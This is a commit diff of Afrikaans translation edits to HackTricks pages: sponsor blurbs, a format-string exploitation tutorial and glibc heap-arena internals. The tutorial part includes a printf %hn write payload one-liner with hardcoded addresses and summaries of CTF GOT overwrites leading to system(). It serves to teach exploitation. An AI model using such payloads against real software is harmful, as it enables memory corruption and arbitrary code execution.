Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 107 KiB |
25
README.md
|
@ -20,7 +20,7 @@ Om te begin, volg hierdie bladsy waar jy die **tipiese vloei** sal vind wat **jy
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheid maatskappy wie se leuse is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheid dienste** soos pentesting, Red teams en opleiding aan te bied.
|
[**STM Cyber**](https://www.stmcyber.com) is 'n uitstekende kuberveiligheidsmaatskappy wie se slagspreuk is **HACK THE UNHACKABLE**. Hulle voer hul eie navorsing uit en ontwikkel hul eie hacking gereedskap om **verskeie waardevolle kuberveiligheidsdienste** soos pentesting, Red teams en opleiding aan te bied.
|
||||||
|
|
||||||
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
|
Jy kan hul **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) nagaan.
|
||||||
|
|
||||||
|
@ -65,9 +65,9 @@ Kry Toegang Vandag:
|
||||||
|
|
||||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer!
|
Sluit by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener aan om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||||
|
|
||||||
* **Hacking Inligting:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
* **Hacking Inligting:** Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||||
* **Regstydse Hack Nuus:** Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
* **Regstydse Hack Nuus:** Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||||
|
@ -77,19 +77,16 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskap
|
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Die noodsaaklike penetrasietoets gereedskapstel
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk**
|
**Kry 'n hacker se perspektief op jou web toepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanval oppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
{% endembed %}
|
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [SerpApi](https://serpapi.com/)
|
### [SerpApi](https://serpapi.com/)
|
||||||
|
@ -98,8 +95,8 @@ Sluit by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
||||||
|
|
||||||
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
|
**SerpApi** bied vinnige en maklike regstydse API's om **toegang tot soekenjinresultate** te verkry. Hulle scrape soekenjins, hanteer proxies, los captchas op, en parse al die ryk gestructureerde data vir jou.
|
||||||
|
|
||||||
'n Subskripsie op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
'n Intekening op een van SerpApi se planne sluit toegang tot meer as 50 verskillende API's in vir die scraping van verskillende soekenjins, insluitend Google, Bing, Baidu, Yahoo, Yandex, en meer.\
|
||||||
In teenstelling met ander verskaffers, **SerpApi scrape nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennis grafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
In teenstelling met ander verskaffers, **scrape SerpApi nie net organiese resultate nie**. SerpApi antwoorde sluit konsekwent al die advertensies, inline beelde en video's, kennis grafieke, en ander elemente en funksies wat in die soekresultate teenwoordig is, in.
|
||||||
|
|
||||||
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
Huidige SerpApi kliënte sluit **Apple, Shopify, en GrubHub** in.\
|
||||||
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
Vir meer inligting, kyk na hul [**blog**](https://serpapi.com/blog/)**,** of probeer 'n voorbeeld in hul [**speelgrond**](https://serpapi.com/playground)**.**\
|
||||||
|
@ -111,11 +108,11 @@ Jy kan **'n gratis rekening** [**hier**](https://serpapi.com/users/sign\_up)**.*
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheid maatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheid bedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
|
[**WebSec**](https://websec.nl) is 'n professionele kuberveiligheidsmaatskappy gebaseer in **Amsterdam** wat help om **besighede** **oor die wêreld** teen die nuutste kuberveiligheidsbedreigings te beskerm deur **offensiewe-sekuriteit dienste** met 'n **moderne** benadering te bied.
|
||||||
|
|
||||||
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
|
WebSec is 'n **alles-in-een sekuriteitsmaatskappy** wat beteken hulle doen dit alles; Pentesting, **Sekuriteit** Oudit, Bewustheidsopleiding, Phishing Campagnes, Kode Hersiening, Exploit Ontwikkeling, Sekuriteit Eksperte Uitsourcing en nog baie meer.
|
||||||
|
|
||||||
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec is **baie selfversekerd in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
Nog 'n interessante ding oor WebSec is dat, in teenstelling met die industrie gemiddelde, WebSec **baie selfversekerd is in hul vaardighede**, tot so 'n mate dat hulle **die beste kwaliteit resultate waarborg**, dit staan op hul webwerf "**As ons dit nie kan hack nie, betaal jy dit nie!**". Vir meer inligting, kyk na hul [**webwerf**](https://websec.nl/en/) en [**blog**](https://websec.nl/blog/)!
|
||||||
|
|
||||||
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks.**
|
||||||
|
|
||||||
|
@ -123,7 +120,7 @@ Benewens die bogenoemde is WebSec ook 'n **toegewyde ondersteuner van HackTricks
|
||||||
|
|
||||||
## Lisensie & Vrywaring
|
## Lisensie & Vrywaring
|
||||||
|
|
||||||
Kyk na hulle in:
|
Kyk hulle in:
|
||||||
|
|
||||||
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
{% content-ref url="welcome/hacktricks-values-and-faq.md" %}
|
||||||
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
[hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md)
|
||||||
|
|
|
@ -15,21 +15,21 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiende Pools, geskryf en gesproke, vereis_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **rauwe teks met die formaatters**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formaatters** van die rauwe teks te **vervang**.
|
In C **`printf`** is 'n funksie wat gebruik kan word om 'n **string** te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **rauwe teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** van die rauwe teks te **vervang**.
|
||||||
|
|
||||||
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
|
Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**.
|
||||||
|
|
||||||
Die kwesbaarheid verskyn wanneer 'n **aanvalle teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier in staat om **arbitraire kode uit te voer**.
|
Die kwesbaarheid verskyn wanneer 'n **aanvaller teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat** die **printf formaat** string vermoëns misbruik om enige data in enige adres (leesbaar/skryfbaar) te lees en **te skryf**. Op hierdie manier kan hulle **arbitraire kode uitvoer**.
|
||||||
|
|
||||||
#### Formaatters:
|
#### Formateerders:
|
||||||
```bash
|
```bash
|
||||||
%08x —> 8 hex bytes
|
%08x —> 8 hex bytes
|
||||||
%d —> Entire
|
%d —> Entire
|
||||||
|
@ -72,7 +72,7 @@ return 0;
|
||||||
```
|
```
|
||||||
### **Toegang tot Pointers**
|
### **Toegang tot Pointers**
|
||||||
|
|
||||||
Die formaat **`%<n>$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
|
Die formaat **`%<n>$x`**, waar `n` 'n getal is, stel jou in staat om aan printf aan te dui om die n parameter (van die stapel) te kies. So as jy die 4de parameter van die stapel met printf wil lees, kan jy doen:
|
||||||
```c
|
```c
|
||||||
printf("%x %x %x %x")
|
printf("%x %x %x %x")
|
||||||
```
|
```
|
||||||
|
@ -82,7 +82,7 @@ Of jy kan doen:
|
||||||
```c
|
```c
|
||||||
printf("%4$x")
|
printf("%4$x")
|
||||||
```
|
```
|
||||||
and lees direk die vierde.
|
en lees direk die vierde.
|
||||||
|
|
||||||
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
|
Let op dat die aanvaller die `printf` **parameter beheer, wat basies beteken dat** sy invoer in die stapel gaan wees wanneer `printf` aangeroep word, wat beteken dat hy spesifieke geheue adresse in die stapel kan skryf.
|
||||||
|
|
||||||
|
@ -151,7 +151,7 @@ p.close()
|
||||||
Arbitraire lees kan nuttig wees om:
|
Arbitraire lees kan nuttig wees om:
|
||||||
|
|
||||||
* **Dump** die **binaire** uit geheue
|
* **Dump** die **binaire** uit geheue
|
||||||
* **Toegang tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of persoonlike wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
* **Toegang te verkry tot spesifieke dele van geheue waar sensitiewe** **inligting** gestoor word (soos kanaries, versleuteling sleutels of persoonlike wagwoorde soos in hierdie [**CTF-uitdaging**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||||
|
|
||||||
## **Arbitraire Skrywe**
|
## **Arbitraire Skrywe**
|
||||||
|
|
||||||
|
@ -187,6 +187,8 @@ If HOB > LOB\
|
||||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||||
|
|
||||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||||
|
|
||||||
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||||
```
|
```
|
||||||
|
@ -231,11 +233,11 @@ Dit is moontlik om die skryf aksies van 'n formaat string kwesbaarheid te misbru
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||||
* 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
|
* 32 bit, geen relro, geen canary, nx, geen pie, basiese gebruik van formaat strings om die vlag van die stapel te lek (geen behoefte om die uitvoeringsvloei te verander)
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||||
* 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie te oorskryf (ret2win)
|
* 32 bit, relro, geen canary, nx, geen pie, formaat string om die adres `fflush` met die win funksie (ret2win) te oorskryf
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||||
* 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel te skryf wat na `strlen` wys. Wanneer die vloei terug na main gaan, word `strlen` uitgevoer met gebruikersinvoer en wys na `system`, dit sal die oorgedraagde opdragte uitvoer.
|
* 32 bit, relro, geen canary, nx, geen pie, formaat string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei een keer meer terugloop) en die adres na `system` in die GOT tabel te skryf wat na `strlen` wys. Wanneer die vloei terug na main gaan, word `strlen` uitgevoer met gebruikersinvoer en wys na `system`, dit sal die oorgedraagde opdragte uitvoer.
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend in Pools geskryf en gesproke vereis_).
|
As jy belangstel in 'n **hacking loopbaan** en die onhackable te hack - **ons huur!** (_vloeiend in Pools geskryf en gesproke vereis_).
|
||||||
|
|
||||||
|
|
|
@ -15,8 +15,8 @@ Wanneer 'n sekere hoeveelheid data aangevra word om in die heap gestoor te word,
|
||||||
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
|
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
|
||||||
|
|
||||||
* Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
|
* Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
|
||||||
* As daar in die lys van chunks iemand beskikbaar groot genoeg is om die versoek te vervul, sal dit gebruik word.
|
* As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
|
||||||
* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie versoek gebruik sal word en die res aan die chunks lys bygevoeg sal word.
|
* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res sal by die chunks lys gevoeg word.
|
||||||
* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
|
* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
|
||||||
* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
|
* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
|
||||||
* As alles misluk, keer `malloc` null terug.
|
* As alles misluk, keer `malloc` null terug.
|
||||||
|
@ -25,11 +25,11 @@ Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** geb
|
||||||
|
|
||||||
## Arenas
|
## Arenas
|
||||||
|
|
||||||
In **multithreaded** toepassings moet die heap bestuurder **wedren toestande** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
|
In **multithreaded** toepassings moet die heap bestuurder **race condities** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
|
||||||
|
|
||||||
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie threads toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
|
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie threads toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
|
||||||
|
|
||||||
Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
|
Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder vir hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bis stelsels en 8 keer vir 64-bis stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
|
||||||
|
|
||||||
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
|
In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
|
||||||
|
|
||||||
|
@ -46,11 +46,11 @@ Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassi
|
||||||
3. **Geleidelike Uitbreiding met `mprotect`**:
|
3. **Geleidelike Uitbreiding met `mprotect`**:
|
||||||
* Die gereserveerde geheuegebied is aanvanklik gemerk as `PROT_NONE`, wat aandui dat die kernel nie fisiese geheue aan hierdie ruimte hoef toe te ken nie.
|
* Die gereserveerde geheuegebied is aanvanklik gemerk as `PROT_NONE`, wat aandui dat die kernel nie fisiese geheue aan hierdie ruimte hoef toe te ken nie.
|
||||||
* Om die subheap te "laat groei", gebruik die heap bestuurder `mprotect` om bladsy toestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander, wat die kernel aanmoedig om fisiese geheue aan die voorheen gereserveerde adresse toe te ken. Hierdie stap-vir-stap benadering laat die subheap toe om uit te brei soos nodig.
|
* Om die subheap te "laat groei", gebruik die heap bestuurder `mprotect` om bladsy toestemmings van `PROT_NONE` na `PROT_READ | PROT_WRITE` te verander, wat die kernel aanmoedig om fisiese geheue aan die voorheen gereserveerde adresse toe te ken. Hierdie stap-vir-stap benadering laat die subheap toe om uit te brei soos nodig.
|
||||||
* Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met toewysing.
|
* Sodra die hele subheap uitgeput is, skep die heap bestuurder 'n nuwe subheap om voort te gaan met allokasie.
|
||||||
|
|
||||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||||
|
|
||||||
Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer toewysings nie, hierdie struktuur sal ook daardie inligting stoor.
|
Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struktuur sal ook daardie inligting stoor.
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||||
|
|
||||||
|
@ -74,9 +74,9 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||||
Dit is belangrik om te noem dat die **hoof arena `malloc_state`** struktuur 'n **globale veranderlike in die libc** is (dus geleë in die libc geheue ruimte).\
|
Dit is belangrik om te noem dat die **hoof arena `malloc_state`** struktuur 'n **globale veranderlike in die libc** is (dus geleë in die libc geheue ruimte).\
|
||||||
In die geval van **`malloc_state`** struktuur van die heaps van threads, is hulle geleë **binne eie thread "heap"**.
|
In die geval van **`malloc_state`** struktuur van die heaps van threads, is hulle geleë **binne eie thread "heap"**.
|
||||||
|
|
||||||
Daar is 'n paar interessante dinge om op te let van hierdie struktuur (sien C kode hieronder):
|
Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode hieronder):
|
||||||
|
|
||||||
* `__libc_lock_define (, mutex);` is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
|
* `__libc_lock_define (, mutex);` Is daar om te verseker dat hierdie struktuur van die heap deur 1 thread op 'n slag benader word
|
||||||
* Vlaggies:
|
* Vlaggies:
|
||||||
* ```c
|
* ```c
|
||||||
#define NONCONTIGUOUS_BIT (2U)
|
#define NONCONTIGUOUS_BIT (2U)
|
||||||
|
@ -87,10 +87,10 @@ Daar is 'n paar interessante dinge om op te let van hierdie struktuur (sien C ko
|
||||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||||
```
|
```
|
||||||
* Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
|
* Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
|
||||||
* Daarom sal die **eerste chunk** van hierdie bins 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan **leak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
|
* Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwaartse pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan l**eak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
|
||||||
* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
|
* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is gekoppelde lyste van arenas
|
||||||
* Die `top` chunk is die laaste "chunk", wat basies **alle die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
|
* Die `top` chunk is die laaste "chunk", wat basies **al die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
|
||||||
* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer wat oorbly is hier geplaas.
|
* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer oorblywende deel word hier geplaas.
|
||||||
```c
|
```c
|
||||||
